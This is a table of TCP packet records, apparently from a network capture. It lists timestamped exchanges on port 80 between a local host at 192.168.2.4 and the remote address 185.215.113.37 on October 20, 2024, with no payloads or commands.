Oct 20, 2024 06:40:20.836572886 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.836582899 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.836591959 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.836599112 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.836602926 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.836616039 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.836626053 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.836627007 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.836639881 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.836652040 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.836668015 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.836671114 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.836680889 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.836690903 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.836694002 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.836703062 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.836714029 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.836714983 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.836724997 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.836736917 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.836740971 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.836755991 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.836770058 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.836772919 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.836791039 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.836802006 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.836812973 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.836817026 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.836823940 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.836831093 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.836847067 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.836849928 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.836858988 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.836870909 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.836873055 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.836896896 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.836920023 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.836935997 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.836946011 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.836956978 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.836970091 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.836977005 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.837002039 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.837028027 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.837045908 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.837064028 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.837065935 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.837074041 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.837085962 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.837090969 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.837097883 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.837110043 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.837110043 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.837119102 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.837136030 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.837153912 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.837189913 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.837201118 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.837210894 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.837224007 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.837234974 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.837261915 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.837285042 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.837296963 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.837311029 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.837320089 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.837327003 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.837342024 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.837367058 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.837519884 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.837529898 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.837539911 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.837558985 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.837563038 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.837570906 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.837582111 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.837587118 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.837594986 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.837605000 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.837615013 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.837632895 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.837641001 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.837642908 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.837655067 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.837668896 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.837668896 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.837682962 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.837687969 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.837699890 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.837708950 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.837711096 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.837734938 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.837749004 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.837759972 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.837771893 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.837773085 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.837796926 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.837830067 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.837857962 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.837868929 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.837878942 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.837889910 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.837899923 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.837902069 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.837912083 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.837923050 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.837927103 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.837935925 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.837945938 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.837954044 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.837965965 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.837975979 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.837984085 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.837995052 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.838000059 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.838013887 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.838017941 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.838026047 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.838036060 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.838042021 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.838047028 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.838057995 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.838061094 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.838079929 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.838083982 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.838089943 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.838099957 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.838103056 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.838114023 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.838124990 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.838149071 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.838165045 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.838174105 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.838179111 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.838185072 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.838208914 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.838222980 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.838224888 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.838233948 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.838253975 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.838264942 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.838269949 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.838277102 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.838287115 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.838296890 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.838298082 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.838310003 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.838315010 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.838340044 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.838341951 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.838354111 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.838365078 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.838365078 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.838376045 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.838388920 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.838413954 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.838432074 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.838443041 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.838454008 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.838471889 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.838488102 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.838542938 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.838553905 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.838565111 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.838577032 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.838587999 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.838589907 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.838617086 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.838645935 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.838656902 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.838669062 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.838690042 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.838716030 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.838746071 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.838757038 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.838767052 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.838787079 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.838790894 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.838799953 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.838810921 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.838814020 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.838821888 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.838833094 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.838844061 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.838845968 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.838856936 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.838866949 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.838877916 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.838881969 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.838887930 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.838897943 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.838905096 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.838910103 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.838923931 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.838943005 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.838943005 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.838953972 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.838964939 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.838992119 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.838996887 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.839003086 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.839014053 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.839031935 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.839046001 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.839050055 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.839057922 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.839068890 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.839092970 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.839118004 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.839164019 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.839180946 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.839190960 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.839205980 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.839216948 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.839216948 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.839226961 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.839241982 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.839245081 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.839257002 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.839257956 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.839267015 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.839279890 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.839282036 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.839301109 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.839323044 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.839325905 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.839337111 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.839346886 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.839359999 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.839366913 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.839375019 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.839394093 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.839396000 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.839410067 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.839426041 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.839435101 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.839436054 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.839447975 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.839468002 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.839469910 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.839479923 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.839488983 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.839493990 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.839503050 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.839519978 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.839534998 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.839545965 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.839545965 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.839561939 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.839572906 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.839572906 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.839595079 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.839617968 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.839685917 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.839698076 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.839709044 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.839720964 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.839729071 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.839731932 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.839740992 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.839751959 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.839751959 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.839762926 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.839768887 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.839775085 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.839793921 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.839798927 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.839809895 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.839819908 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.839821100 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.839833021 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.839843988 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.839844942 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.839855909 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.839868069 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.839869976 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.839880943 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.839886904 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.839894056 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.839910984 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.839910984 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.839921951 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.839934111 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.839935064 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.839953899 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.839977980 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.839993000 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.840003967 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.840013027 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.840025902 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.840034962 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.840038061 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.840048075 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.840059996 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.840075016 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.840100050 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.840163946 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.840174913 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.840187073 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.840198040 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.840209007 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.840210915 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.840219975 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.840230942 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.840234995 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.840253115 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.840269089 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.840281010 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.840298891 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.840311050 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.840322018 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.840333939 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.840338945 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.840348005 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.840358973 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.840364933 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.840370893 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.840380907 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.840388060 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.840399981 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.840406895 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.840431929 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.840452909 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.840464115 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.840476036 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.840488911 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.840496063 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.840509892 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.840512991 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.840519905 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.840536118 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.840538025 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.840548038 CEST	80	49730	185.215.113.37	192.168.2.4
